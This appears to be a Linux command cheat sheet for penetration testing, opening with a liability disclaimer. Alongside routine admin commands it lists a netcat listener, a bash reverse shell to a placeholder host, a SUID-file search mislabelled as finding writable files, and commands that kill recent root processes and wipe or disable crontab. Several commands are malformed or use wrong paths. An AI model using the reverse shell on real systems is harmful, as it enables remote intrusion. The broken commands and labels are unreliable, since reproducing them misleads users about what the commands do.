DISCLAIMER
The author is in no way responsible for any illegal use of this software/reference. It is provided purely as an educational proof of concept. I am also not responsible for any damages or mishaps that may happen in the course of using this software/reference. Use at your own risk.
List All Running Services:
systemctl list-units --type=service --state=running
Enable Ping
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all
Netcat Listener
nc -nlvp <port>
Bash Reverse Shell
bash -i > &/dev/tcp/ip/port/ 0>&1
View Running Processes
ps -aux
Find Writable files
find / -perm -u=s -type f 2>/dev.null
Python Web Server
python3 -m http.server <port>
Kill all processes newer then 5m
sudo killall -u root -o 5m
Active TCP Connections
ss -tulpn
Check Syslog
cat /var/logs/syslog | grep <something>
Crontab
# View crontab with
crontab -l
# Reset crontab with
crontab -r
# Disable with
systemctl stop crond.service
systemctl disable crond.service